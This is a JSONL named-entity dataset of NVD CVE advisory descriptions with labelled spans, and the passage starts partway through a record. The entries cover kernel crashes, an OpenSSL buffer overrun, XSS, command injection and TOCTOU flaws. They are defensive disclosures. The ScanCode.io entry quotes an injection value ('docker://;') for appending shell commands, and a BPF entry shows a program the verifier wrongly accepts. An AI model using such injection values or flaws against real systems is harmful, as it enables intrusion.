"VULNERABILITY: memory corruption": [[91, 108], [1414, 1431]], "VULNERABILITY: use-after-free": [[1698, 1712]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38394"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm/gup: fix gup_pud_range() for dax\n\nFor dax pud, pud_huge() returns true on x86. So the function works as long\nas hugetlb is configured. However, dax doesn't depend on hugetlb.\nCommit 414fd080d125 (\"mm/gup: fix gup_pmd_range() for dax\") fixed\ndevmap-backed huge PMDs, but missed devmap-backed huge PUDs. Fix this as\nwell.\n\nThis fixes the below kernel panic:\n\ngeneral protection fault, probably for non-canonical address 0x69e7c000cc478: 0000 [#1] SMP\n\t< snip >\nCall Trace:\n<TASK>\nget_user_pages_fast+0x1f/0x40\niov_iter_get_pages+0xc6/0x3b0\n? mempool_alloc+0x5d/0x170\nbio_iov_iter_get_pages+0x82/0x4e0\n? bvec_alloc+0x91/0xc0\n? bio_alloc_bioset+0x19a/0x2a0\nblkdev_direct_IO+0x282/0x480\n? __io_complete_rw_common+0xc0/0xc0\n? filemap_range_has_page+0x82/0xc0\ngeneric_file_direct_write+0x9d/0x1a0\n? inode_update_time+0x24/0x30\n__generic_file_write_iter+0xbd/0x1e0\nblkdev_write_iter+0xb4/0x150\n? io_import_iovec+0x8d/0x340\nio_write+0xf9/0x300\nio_issue_sqe+0x3c3/0x1d30\n? sysvec_reschedule_ipi+0x6c/0x80\n__io_queue_sqe+0x33/0x240\n? fget+0x76/0xa0\nio_submit_sqes+0xe6a/0x18d0\n? __fget_light+0xd1/0x100\n__x64_sys_io_uring_enter+0x199/0x880\n? __context_tracking_enter+0x1f/0x70\n? irqentry_exit_to_user_mode+0x24/0x30\n? irqentry_exit+0x1d/0x30\n? __context_tracking_exit+0xe/0x70\ndo_syscall_64+0x3b/0x90\nentry_SYSCALL_64_after_hwframe+0x61/0xcb\nRIP: 0033:0x7fc97c11a7be\n\t< snip >\n</TASK>\n---[ end trace 48b2e0e67debcaeb ]---\nRIP: 0010:internal_get_user_pages_fast+0x340/0x990\n\t< snip >\nKernel panic - not syncing: Fatal exception\nKernel Offset: disabled", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-48986"}}
{"text": "HTSlib is a library for reading and writing bioinformatics file formats. GZI files are used to index block-compressed GZIP [BGZF] files.  In the GZI loading function, `bgzf_index_load_hfile()`, it was possible to trigger an integer overflow, leading to an under- or zero-sized buffer being allocated to store the index.  Sixteen zero bytes would then be written to this buffer, and, depending on the result of the overflow the rest of the file may also be loaded into the buffer as well.  If the function did attempt to load the data, it would eventually fail due to not reading the expected number of records, and then try to free the overflowed heap buffer. Exploiting this bug causes a heap buffer overflow. If a user opens a file crafted to exploit this issue, it could lead to the program crashing, or overwriting of data and heap structures in ways not expected by the program.  It may be possible to use this to obtain arbitrary code execution. Versions 1.23.1, 1.22.2 and 1.21.1 include fixes for this issue. The easiest work-around is to discard any `.gzi` index files from untrusted sources, and use the `bgzip -r` option to recreate them.", "spans": {"VULNERABILITY: integer overflow": [[224, 240]], "VULNERABILITY: buffer overflow": [[694, 709]], "VULNERABILITY: code execution": [[936, 950]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-31970"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. In affected versions an attacker can cause undefined behavior via binding a reference to null pointer in all operations of type `tf.raw_ops.MatrixDiagV*`. The [implementation](https://github.com/tensorflow/tensorflow/blob/84d053187cb80d975ef2b9684d4b61981bca0c41/tensorflow/core/kernels/linalg/matrix_diag_op.cc) has incomplete validation that the value of `k` is a valid tensor. We have check that this value is either a scalar or a vector, but there is no check for the number of elements. If this is an empty tensor, then code that accesses the first element of the tensor is wrong. We have patched the issue in GitHub commit f2a673bd34f0d64b8e40a551ac78989d16daad09. The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.", "spans": {"URL: https://github.com/tensorflow/tensorflow/blob/84d053187cb80d975ef2b9684d4b61981bca0c41/tensorflow/core/kernels/linalg/matrix_diag_op.cc": [[247, 382]], "HASH: f2a673bd34f0d64b8e40a551ac78989d16daad09": [[700, 740]], "ORGANIZATION: GitHub": [[686, 692]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-37657"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\namd/amdkfd: enhance kfd process check in switch partition\n\ncurrent switch partition only check if kfd_processes_table is empty.\nkfd_prcesses_table entry is deleted in kfd_process_notifier_release, but\nkfd_process tear down is in kfd_process_wq_release.\n\nconsider two processes:\n\nProcess A (workqueue) -> kfd_process_wq_release -> Access kfd_node member\nProcess B switch partition -> amdgpu_xcp_pre_partition_switch -> amdgpu_amdkfd_device_fini_sw\n-> kfd_node tear down.\n\nProcess A and B may trigger a race as shown in dmesg log.\n\nThis patch is to resolve the race by adding an atomic kfd_process counter\nkfd_processes_count, it increment as create kfd process, decrement as\nfinish kfd_process_wq_release.\n\nv2: Put kfd_processes_count per kfd_dev, move decrement to kfd_process_destroy_pdds\nand bug fix. (Philip Yang)\n\n[3966658.307702] divide error: 0000 [#1] SMP NOPTI\n[3966658.350818]  i10nm_edac\n[3966658.356318] CPU: 124 PID: 38435 Comm: kworker/124:0 Kdump: loaded Tainted\n[3966658.356890] Workqueue: kfd_process_wq kfd_process_wq_release [amdgpu]\n[3966658.362839]  nfit\n[3966658.366457] RIP: 0010:kfd_get_num_sdma_engines+0x17/0x40 [amdgpu]\n[3966658.366460] Code: 00 00 e9 ac 81 02 00 66 66 2e 0f 1f 84 00 00 00 00 00 90 0f 1f 44 00 00 48 8b 4f 08 48 8b b7 00 01 00 00 8b 81 58 26 03 00 99 <f7> be b8 01 00 00 80 b9 70 2e 00 00 00 74 0b 83 f8 02 ba 02 00 00\n[3966658.380967]  x86_pkg_temp_thermal\n[3966658.391529] RSP: 0018:ffffc900a0edfdd8 EFLAGS: 00010246\n[3966658.391531] RAX: 0000000000000008 RBX: ffff8974e593b800 RCX: ffff888645900000\n[3966658.391531] RDX: 0000000000000000 RSI: ffff888129154400 RDI: ffff888129151c00\n[3966658.391532] RBP: ffff8883ad79d400 R08: 0000000000000000 R09: ffff8890d2750af4\n[3966658.391532] R10: 0000000000000018 R11: 0000000000000018 R12: 0000000000000000\n[3966658.391533] R13: ffff8883ad79d400 R14: ffffe87ff662ba00 R15: ffff8974e593b800\n[3966658.391533] FS:  0000000000000000(0000) GS:ffff88fe7f600000(0000) knlGS:0000000000000000\n[3966658.391534] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[3966658.391534] CR2: 0000000000d71000 CR3: 000000dd0e970004 CR4: 0000000002770ee0\n[3966658.391535] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n[3966658.391535] DR3: 0000000000000000 DR6: 00000000fffe07f0 DR7: 0000000000000400\n[3966658.391536] PKRU: 55555554\n[3966658.391536] Call Trace:\n[3966658.391674]  deallocate_sdma_queue+0x38/0xa0 [amdgpu]\n[3966658.391762]  process_termination_cpsch+0x1ed/0x480 [amdgpu]\n[3966658.399754]  intel_powerclamp\n[3966658.402831]  kfd_process_dequeue_from_all_devices+0x5b/0xc0 [amdgpu]\n[3966658.402908]  kfd_process_wq_release+0x1a/0x1a0 [amdgpu]\n[3966658.410516]  coretemp\n[3966658.434016]  process_one_work+0x1ad/0x380\n[3966658.434021]  worker_thread+0x49/0x310\n[3966658.438963]  kvm_intel\n[3966658.446041]  ? process_one_work+0x380/0x380\n[3966658.446045]  kthread+0x118/0x140\n[3966658.446047]  ? __kthread_bind_mask+0x60/0x60\n[3966658.446050]  ret_from_fork+0x1f/0x30\n[3966658.446053] Modules linked in: kpatch_20765354(OEK)\n[3966658.455310]  kvm\n[3966658.464534]  mptcp_diag xsk_diag raw_diag unix_diag af_packet_diag netlink_diag udp_diag act_pedit act_mirred act_vlan cls_flower kpatch_21951273(OEK) kpatch_18424469(OEK) kpatch_19749756(OEK)\n[3966658.473462]  idxd_mdev\n[3966658.482306]  kpatch_17971294(OEK) sch_ingress xt_conntrack amdgpu(OE) amdxcp(OE) amddrm_buddy(OE) amd_sched(OE) amdttm(OE) amdkcl(OE) intel_ifs iptable_mangle tcm_loop target_core_pscsi tcp_diag target_core_file inet_diag target_core_iblock target_core_user target_core_mod coldpgs kpatch_18383292(OEK) ip6table_nat ip6table_filter ip6_tables ip_set_hash_ipportip ip_set_hash_ipportnet ip_set_hash_ipport ip_set_bitmap_port xt_comment iptable_nat nf_nat iptable_filter ip_tables ip_set ip_vs_sh ip_vs_wrr ip_vs_rr ip_vs nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 sn_core_odd(OE) i40e overlay binfmt_misc tun bonding(OE) aisqos(OE) aisqo\n---truncated---", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-68174"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nriscv: Fix vector state restore in rt_sigreturn()\n\nThe RISC-V Vector specification states in \"Appendix D: Calling\nConvention for Vector State\" [1] that \"Executing a system call causes\nall caller-saved vector registers (v0-v31, vl, vtype) and vstart to\nbecome unspecified.\". In the RISC-V kernel this is called \"discarding\nthe vstate\".\n\nReturning from a signal handler via the rt_sigreturn() syscall, vector\ndiscard is also performed. However, this is not an issue since the\nvector state should be restored from the sigcontext, and therefore not\ncare about the vector discard.\n\nThe \"live state\" is the actual vector register in the running context,\nand the \"vstate\" is the vector state of the task. A dirty live state,\nmeans that the vstate and live state are not in synch.\n\nWhen vectorized user_from_copy() was introduced, an bug sneaked in at\nthe restoration code, related to the discard of the live state.\n\nAn example when this go wrong:\n\n  1. A userland application is executing vector code\n  2. The application receives a signal, and the signal handler is\n     entered.\n  3. The application returns from the signal handler, using the\n     rt_sigreturn() syscall.\n  4. The live vector state is discarded upon entering the\n     rt_sigreturn(), and the live state is marked as \"dirty\", indicating\n     that the live state need to be synchronized with the current\n     vstate.\n  5. rt_sigreturn() restores the vstate, except the Vector registers,\n     from the sigcontext\n  6. rt_sigreturn() restores the Vector registers, from the sigcontext,\n     and now the vectorized user_from_copy() is used. The dirty live\n     state from the discard is saved to the vstate, making the vstate\n     corrupt.\n  7. rt_sigreturn() returns to the application, which crashes due to\n     corrupted vstate.\n\nNote that the vectorized user_from_copy() is invoked depending on the\nvalue of CONFIG_RISCV_ISA_V_UCOPY_THRESHOLD. Default is 768, which\nmeans that vlen has to be larger than 128b for this bug to trigger.\n\nThe fix is simply to mark the live state as non-dirty/clean prior\nperforming the vstate restore.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-35873"}}
{"text": "CubeFS is an open-source cloud-native file storage system. A vulnerability was found in CubeFS prior to version 3.3.1 that could allow users to read sensitive data from the logs which could allow them escalate privileges. CubeFS leaks configuration keys in plaintext format in the logs. These keys could allow anyone to carry out operations on blobs that they otherwise do not have permissions for. For example, an attacker that has succesfully retrieved a secret key from the logs can delete blogs from the blob store. The attacker can either be an internal user with limited privileges to read the log, or they can be an external user who has escalated privileges sufficiently to access the logs. The vulnerability has been patched in v3.3.1. There is no other mitigation than upgrading.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-46741"}}
{"text": "Three vulnerabilities in the CLI of Cisco TelePresence CE and RoomOS could allow an authenticated, local attacker to overwrite arbitrary files on the local file system of an affected device.\r\n\r\nThese vulnerabilities are due to improper access controls on files that are on the local file system. An attacker could exploit these vulnerabilities by placing a symbolic link in a specific location on the local file system of an affected device. A successful exploit could allow the attacker to overwrite arbitrary files on the affected device. To exploit these vulnerabilities, an attacker would need to have a remote support user account.\r\nNote: CVE-2023-20092 does not affect Cisco DX70, DX80, TelePresence MX Series, or TelePresence SX Series devices.\r\nCisco has released software updates that address these vulnerabilities. There are no workarounds that address these vulnerabilities.", "spans": {"CVE_ID: CVE-2023-20092": [[644, 658]], "ORGANIZATION: Cisco": [[36, 41], [675, 680], [753, 758]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-20093"}}
{"text": "Emissary is a P2P based data-driven workflow engine. Affected versions of Emissary are vulnerable to post-authentication Remote Code Execution (RCE). The [`CreatePlace`](https://github.com/NationalSecurityAgency/emissary/blob/30c54ef16c6eb6ed09604a929939fb9f66868382/src/main/java/emissary/server/mvc/internal/CreatePlaceAction.java#L36) REST endpoint accepts an `sppClassName` parameter which is used to load an arbitrary class. This class is later instantiated using a constructor with the following signature: `<constructor>(String, String, String)`. An attacker may find a gadget (class) in the application classpath that could be used to achieve Remote Code Execution (RCE) or disrupt the application. Even though the chances to find a gadget (class) that allow arbitrary code execution are low, an attacker can still find gadgets that could potentially crash the application or leak sensitive data. As a work around disable network access to Emissary from untrusted sources.", "spans": {"URL: https://github.com/NationalSecurityAgency/emissary/blob/30c54ef16c6eb6ed09604a929939fb9f66868382/src/main/java/emissary/server/mvc/internal/CreatePlaceAction.java#L36": [[170, 336]], "VULNERABILITY: Remote Code Execution": [[121, 142], [651, 672]], "VULNERABILITY: code execution": [[777, 791]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-32647"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/nouveau: prime: fix ttm_bo_delayed_delete oops\n\nFix an oops in ttm_bo_delayed_delete which results from dererencing a\ndangling pointer:\n\nOops: general protection fault, probably for non-canonical address 0x6b6b6b6b6b6b6b7b: 0000 [#1] PREEMPT SMP\nCPU: 4 UID: 0 PID: 1082 Comm: kworker/u65:2 Not tainted 6.14.0-rc4-00267-g505460b44513-dirty #216\nHardware name: LENOVO 82N6/LNVNB161216, BIOS GKCN65WW 01/16/2024\nWorkqueue: ttm ttm_bo_delayed_delete [ttm]\nRIP: 0010:dma_resv_iter_first_unlocked+0x55/0x290\nCode: 31 f6 48 c7 c7 00 2b fa aa e8 97 bd 52 ff e8 a2 c1 53 00 5a 85 c0 74 48 e9 88 01 00 00 4c 89 63 20 4d 85 e4 0f 84 30 01 00 00 <41> 8b 44 24 10 c6 43 2c 01 48 89 df 89 43 28 e8 97 fd ff ff 4c 8b\nRSP: 0018:ffffbf9383473d60 EFLAGS: 00010202\nRAX: 0000000000000001 RBX: ffffbf9383473d88 RCX: 0000000000000000\nRDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000000\nRBP: ffffbf9383473d78 R08: 0000000000000000 R09: 0000000000000000\nR10: 0000000000000000 R11: 0000000000000000 R12: 6b6b6b6b6b6b6b6b\nR13: ffffa003bbf78580 R14: ffffa003a6728040 R15: 00000000000383cc\nFS:  0000000000000000(0000) GS:ffffa00991c00000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 0000758348024dd0 CR3: 000000012c259000 CR4: 0000000000f50ef0\nPKRU: 55555554\nCall Trace:\n <TASK>\n ? __die_body.cold+0x19/0x26\n ? die_addr+0x3d/0x70\n ? exc_general_protection+0x159/0x460\n ? asm_exc_general_protection+0x27/0x30\n ? dma_resv_iter_first_unlocked+0x55/0x290\n dma_resv_wait_timeout+0x56/0x100\n ttm_bo_delayed_delete+0x69/0xb0 [ttm]\n process_one_work+0x217/0x5c0\n worker_thread+0x1c8/0x3d0\n ? apply_wqattrs_cleanup.part.0+0xc0/0xc0\n kthread+0x10b/0x240\n ? kthreads_online_cpu+0x140/0x140\n ret_from_fork+0x40/0x70\n ? kthreads_online_cpu+0x140/0x140\n ret_from_fork_asm+0x11/0x20\n </TASK>\n\nThe cause of this is:\n\n- drm_prime_gem_destroy calls dma_buf_put(dma_buf) which releases the\n  reference to the shared dma_buf. The reference count is 0, so the\n  dma_buf is destroyed, which in turn decrements the corresponding\n  amdgpu_bo reference count to 0, and the amdgpu_bo is destroyed -\n  calling drm_gem_object_release then dma_resv_fini (which destroys the\n  reservation object), then finally freeing the amdgpu_bo.\n\n- nouveau_bo obj->bo.base.resv is now a dangling pointer to the memory\n  formerly allocated to the amdgpu_bo.\n\n- nouveau_gem_object_del calls ttm_bo_put(&nvbo->bo) which calls\n  ttm_bo_release, which schedules ttm_bo_delayed_delete.\n\n- ttm_bo_delayed_delete runs and dereferences the dangling resv pointer,\n  resulting in a general protection fault.\n\nFix this by moving the drm_prime_gem_destroy call from\nnouveau_gem_object_del to nouveau_bo_del_ttm. This ensures that it will\nbe run after ttm_bo_delayed_delete.", "spans": {"FILEPATH: /16/2024": [[473, 481]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-37765"}}
{"text": "ScanCode.io is a server to script and automate software composition analysis with ScanPipe pipelines. Prior to version 32.5.1, the software has a possible command injection vulnerability in the docker fetch process as it allows to append malicious commands in the `docker_reference` parameter.\n\nIn the function `scanpipe/pipes/fetch.py:fetch_docker_image` the parameter `docker_reference` is user controllable. The `docker_reference` variable is then passed to the vulnerable function `get_docker_image_platform`.  However, the `get_docker_image_plaform` function constructs a shell command with the passed `docker_reference`. The `pipes.run_command` then executes the shell command without any prior sanitization, making the function vulnerable to command injections. A malicious user who is able to create or add inputs to a project can inject commands. Although the command injections are blind and the user will not receive direct feedback without logs, it is still possible to cause damage to the server/container. The vulnerability appears for example if a malicious user adds a semicolon after the input of `docker://;`, it would allow appending malicious commands.\n\nVersion 32.5.1 contains a patch for this issue. The `docker_reference` input should be sanitized to avoid command injections and, as a workaround, one may avoid creating commands with user controlled input directly.", "spans": {"DOMAIN: ScanCode.io": [[0, 11]], "FILEPATH: /pipes/fetch.py": [[320, 335]], "VULNERABILITY: command injection": [[155, 172]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-39523"}}
{"text": "External Secrets Operator reads information from a third-party service and automatically injects the values as Kubernetes Secrets. A vulnerability was discovered in the BeyondTrust provider implementation for External Secrets Operator versions 0.10.1 through 0.19.2. The provider previously retrieved Kubernetes secrets directly, without validating the namespace context or the type of secret store. This allowed unauthorized cross-namespace secret access, violating security boundaries and potentially exposing sensitive credentials. In version 0.20.0, the provider code was updated to use the `resolvers.SecretKeyRef` utility, which enforces namespace validation and only allows cross-namespace access for `ClusterSecretStore` types. This ensures secrets are only retrieved from the correct namespace, mitigating the risk of unauthorized access. All users should upgrade to the latest version containing this fix. As a workaround, use a policy engine such as Kyverno or OPA to prevent using BeyondTrust provider and/or validate the `(Cluster)SecretStore` and ensure the namespace may only be set when using a `ClusterSecretStore`.", "spans": {"SYSTEM: Kubernetes": [[111, 121], [301, 311]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-62159"}}
{"text": "msgraph-sdk-php is the Microsoft Graph Library for PHP. The Microsoft Graph PHP SDK published packages which contained test code that enabled the use of the phpInfo() function from any application that could access and execute the file at vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php.  The phpInfo function exposes system information. The vulnerability affects the GetPhpInfo.php script of the PHP SDK which contains a call to the phpinfo() function. This vulnerability requires a misconfiguration of the server to be present so it can be exploited. For example, making the PHP application’s /vendor directory web accessible. The combination of the vulnerability and the server misconfiguration would allow an attacker to craft an HTTP request that executes the phpinfo() method. The attacker would then be able to get access to system information like configuration, modules, and environment variables and later on use the compromised secrets to access additional data. This problem has been patched in versions 1.109.1 and 2.0.0-RC5. If an immediate deployment with the updated vendor package is not available, you can perform the following temporary workarounds: delete the `vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php` file, remove access to the `/vendor` directory, or disable the phpinfo function.", "spans": {"FILEPATH: /microsoft/microsoft-graph/tests/GetPhpInfo.php.": [[245, 293]], "FILEPATH: /microsoft/microsoft-graph/tests/GetPhpInfo.php": [[1193, 1240]], "FILEPATH: GetPhpInfo.php": [[374, 388]], "SYSTEM: PHP": [[51, 54], [76, 79], [403, 406], [583, 586]], "ORGANIZATION: Microsoft": [[23, 32], [60, 69]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-49282"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ncomedi: check device's attached status in compat ioctls\n\nSyzbot identified an issue [1] that crashes kernel, seemingly due to\nunexistent callback dev->get_valid_routes(). By all means, this should\nnot occur as said callback must always be set to\nget_zero_valid_routes() in __comedi_device_postconfig().\n\nAs the crash seems to appear exclusively in i386 kernels, at least,\njudging from [1] reports, the blame lies with compat versions\nof standard IOCTL handlers. Several of them are modified and\ndo not use comedi_unlocked_ioctl(). While functionality of these\nioctls essentially copy their original versions, they do not\nhave required sanity check for device's attached status. This,\nin turn, leads to a possibility of calling select IOCTLs on a\ndevice that has not been properly setup, even via COMEDI_DEVCONFIG.\n\nDoing so on unconfigured devices means that several crucial steps\nare missed, for instance, specifying dev->get_valid_routes()\ncallback.\n\nFix this somewhat crudely by ensuring device's attached status before\nperforming any ioctls, improving logic consistency between modern\nand compat functions.\n\n[1] Syzbot report:\nBUG: kernel NULL pointer dereference, address: 0000000000000000\n...\nCR2: ffffffffffffffd6 CR3: 000000006c717000 CR4: 0000000000352ef0\nCall Trace:\n <TASK>\n get_valid_routes drivers/comedi/comedi_fops.c:1322 [inline]\n parse_insn+0x78c/0x1970 drivers/comedi/comedi_fops.c:1401\n do_insnlist_ioctl+0x272/0x700 drivers/comedi/comedi_fops.c:1594\n compat_insnlist drivers/comedi/comedi_fops.c:3208 [inline]\n comedi_compat_ioctl+0x810/0x990 drivers/comedi/comedi_fops.c:3273\n __do_compat_sys_ioctl fs/ioctl.c:695 [inline]\n __se_compat_sys_ioctl fs/ioctl.c:638 [inline]\n __ia32_compat_sys_ioctl+0x242/0x370 fs/ioctl.c:638\n do_syscall_32_irqs_on arch/x86/entry/syscall_32.c:83 [inline]\n...", "spans": {"FILEPATH: /comedi/comedi_fops.c": [[1379, 1400], [1447, 1468], [1512, 1533], [1563, 1584], [1639, 1660]], "FILEPATH: /x86/entry/syscall_32.c": [[1839, 1862]], "FILEPATH: ioctl.c": [[1692, 1699], [1739, 1746], [1800, 1807]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[1212, 1236]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-68257"}}
{"text": "A buffer overrun can be triggered in X.509 certificate verification, specifically in name constraint checking. Note that this occurs after certificate chain signature verification and requires either a CA to have signed the malicious certificate or for the application to continue certificate verification despite failure to construct a path to a trusted issuer. An attacker can craft a malicious email address to overflow four attacker-controlled bytes on the stack. This buffer overflow could result in a crash (causing a denial of service) or potentially remote code execution. Many platforms implement stack overflow protections which would mitigate against the risk of remote code execution. The risk may be further mitigated based on stack layout for any given platform/compiler. Pre-announcements of CVE-2022-3602 described this issue as CRITICAL. Further analysis based on some of the mitigating factors described above have led this to be downgraded to HIGH. Users are still encouraged to upgrade to a new version as soon as possible. In a TLS client, this can be triggered by connecting to a malicious server. In a TLS server, this can be triggered if the server requests client authentication and a malicious client connects. Fixed in OpenSSL 3.0.7 (Affected 3.0.0,3.0.1,3.0.2,3.0.3,3.0.4,3.0.5,3.0.6).", "spans": {"CVE_ID: CVE-2022-3602": [[807, 820]], "SYSTEM: OpenSSL": [[1246, 1253]], "VULNERABILITY: remote code execution": [[558, 579], [674, 695]], "VULNERABILITY: denial of service": [[524, 541]], "VULNERABILITY: buffer overflow": [[473, 488]], "VULNERABILITY: stack overflow": [[606, 620]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-3602"}}
{"text": "Anchorr is a Discord bot for requesting movies and TV shows and receiving notifications when items are added to a media server. Versions 1.4.1 and below contain a stored XSS vulnerability in the Jellyseerr user selector. Jellyseerr allows any account holder to execute arbitrary JavaScript in the Anchorr admin's browser session. The injected script calls the authenticated /api/config endpoint - which returns the full application configuration in plaintext. This allows the attacker to forge a valid Anchorr session token and gain full admin access to the dashboard with no knowledge of the admin password. The same response also exposes the API keys and tokens for every integrated service, resulting in simultaneous account takeover of the Jellyfin media server (via JELLYFIN_API_KEY), the Jellyseerr request manager (via JELLYSEERR_API_KEY), and the Discord bot (via DISCORD_TOKEN). This issue has been fixed in version 1.4.2.", "spans": {"FILEPATH: /api/config": [[374, 385]], "VULNERABILITY: stored XSS": [[163, 173]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-32891"}}
{"text": "filelock is a platform-independent file lock for Python. In versions prior to 3.20.1, a Time-of-Check-Time-of-Use (TOCTOU) race condition allows local attackers to corrupt or truncate arbitrary user files through symlink attacks. The vulnerability exists in both Unix and Windows lock file creation where filelock checks if a file exists before opening it with O_TRUNC. An attacker can create a symlink pointing to a victim file in the time gap between the check and open, causing os.open() to follow the symlink and truncate the target file. All users of filelock on Unix, Linux, macOS, and Windows systems are impacted. The vulnerability cascades to dependent libraries. The attack requires local filesystem access and ability to create symlinks (standard user permissions on Unix; Developer Mode on Windows 10+). Exploitation succeeds within 1-3 attempts when lock file paths are predictable. The issue is fixed in version 3.20.1. If immediate upgrade is not possible, use SoftFileLock instead of UnixFileLock/WindowsFileLock (note: different locking semantics, may not be suitable for all use cases); ensure lock file directories have restrictive permissions (chmod 0700) to prevent untrusted users from creating symlinks; and/or monitor lock file directories for suspicious symlinks before running trusted applications. These workarounds provide only partial mitigation. The race condition remains exploitable. Upgrading to version 3.20.1 is strongly recommended.", "spans": {"SYSTEM: Windows 10": [[802, 812]], "SYSTEM: Windows": [[272, 279], [592, 599]], "SYSTEM: Python": [[49, 55]], "SYSTEM: Linux": [[574, 579]], "SYSTEM: macOS": [[581, 586]], "VULNERABILITY: race condition": [[123, 137], [1380, 1394]], "VULNERABILITY: symlink": [[213, 220], [395, 402], [505, 512]], "VULNERABILITY: TOCTOU": [[115, 121]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-68146"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf: track changes_pkt_data property for global functions\n\nWhen processing calls to certain helpers, verifier invalidates all\npacket pointers in a current state. For example, consider the\nfollowing program:\n\n    __attribute__((__noinline__))\n    long skb_pull_data(struct __sk_buff *sk, __u32 len)\n    {\n        return bpf_skb_pull_data(sk, len);\n    }\n\n    SEC(\"tc\")\n    int test_invalidate_checks(struct __sk_buff *sk)\n    {\n        int *p = (void *)(long)sk->data;\n        if ((void *)(p + 1) > (void *)(long)sk->data_end) return TCX_DROP;\n        skb_pull_data(sk, 0);\n        *p = 42;\n        return TCX_PASS;\n    }\n\nAfter a call to bpf_skb_pull_data() the pointer 'p' can't be used\nsafely. See function filter.c:bpf_helper_changes_pkt_data() for a list\nof such helpers.\n\nAt the moment verifier invalidates packet pointers when processing\nhelper function calls, and does not traverse global sub-programs when\nprocessing calls to global sub-programs. This means that calls to\nhelpers done from global sub-programs do not invalidate pointers in\nthe caller state. E.g. the program above is unsafe, but is not\nrejected by verifier.\n\nThis commit fixes the omission by computing field\nbpf_subprog_info->changes_pkt_data for each sub-program before main\nverification pass.\nchanges_pkt_data should be set if:\n- subprogram calls helper for which bpf_helper_changes_pkt_data\n  returns true;\n- subprogram calls a global function,\n  for which bpf_subprog_info->changes_pkt_data should be set.\n\nThe verifier.c:check_cfg() pass is modified to compute this\ninformation. The commit relies on depth first instruction traversal\ndone by check_cfg() and absence of recursive function calls:\n- check_cfg() would eventually visit every call to subprogram S in a\n  state when S is fully explored;\n- when S is fully explored:\n  - every direct helper call within S is explored\n    (and thus changes_pkt_data is set if needed);\n  - every call to subprogram S1 called by S was visited with S1 fully\n    explored (and thus S inherits changes_pkt_data from S1).\n\nThe downside of such approach is that dead code elimination is not\ntaken into account: if a helper call inside global function is dead\nbecause of current configuration, verifier would conservatively assume\nthat the call occurs for the purpose of the changes_pkt_data\ncomputation.", "spans": {"FILEPATH: filter.c": [[778, 786]], "FILEPATH: verifier.c": [[1560, 1570]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-58098"}}
{"text": "Noir is a Domain Specific Language for SNARK proving systems that is designed to use any ACIR compatible proving system, and Brillig is the bytecode ACIR uses for non-determinism. Noir programs can invoke external functions through foreign calls. When compiling to Brillig bytecode, the SSA instructions are processed block-by-block in `BrilligBlock::compile_block()`. When the compiler encounters an `Instruction::Call` with a `Value::ForeignFunction` target, it invokes `codegen_call()` in `brillig_call/code_gen_call.rs`, which dispatches to `convert_ssa_foreign_call()`. Before emitting the foreign call opcode, the compiler must pre-allocate memory for any array results the call will return. This happens through `allocate_external_call_results()`, which iterates over the result types. For `Type::Array` results, it delegates to `allocate_foreign_call_result_array()` to recursively allocate memory on the heap for nested arrays. The `BrilligArray` struct is the internal representation of a Noir array in Brillig IR. Its `size` field represents the semi-flattened size, the total number of memory slots the array occupies, accounting for the fact that composite types like tuples consume multiple slots per element. This size is computed by `compute_array_length()` in `brillig_block_variables.rs`. For the outer array, `allocate_external_call_results()` correctly uses `define_variable()`, which internally calls `allocate_value_with_type()`. This function applies the formula above, producing the correct semi-flattened size. However, for nested arrays, `allocate_foreign_call_result_array()` contains a bug. The pattern `Type::Array(_, nested_size)` discards the inner types with `_` and uses only `nested_size`, the semantic length of the nested array (the number of logical elements), not the semi-flattened size. For simple element types this works correctly, but for composite element types it under-allocates. Foreign calls returning nested arrays of tuples or other composite types corrupt the Brillig VM heap. Version 1.0.0-beta.19 fixes this issue.", "spans": {"FILEPATH: code_gen_call.rs": [[506, 522]], "FILEPATH: brillig_block_variables.rs": [[1278, 1304]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-41197"}}
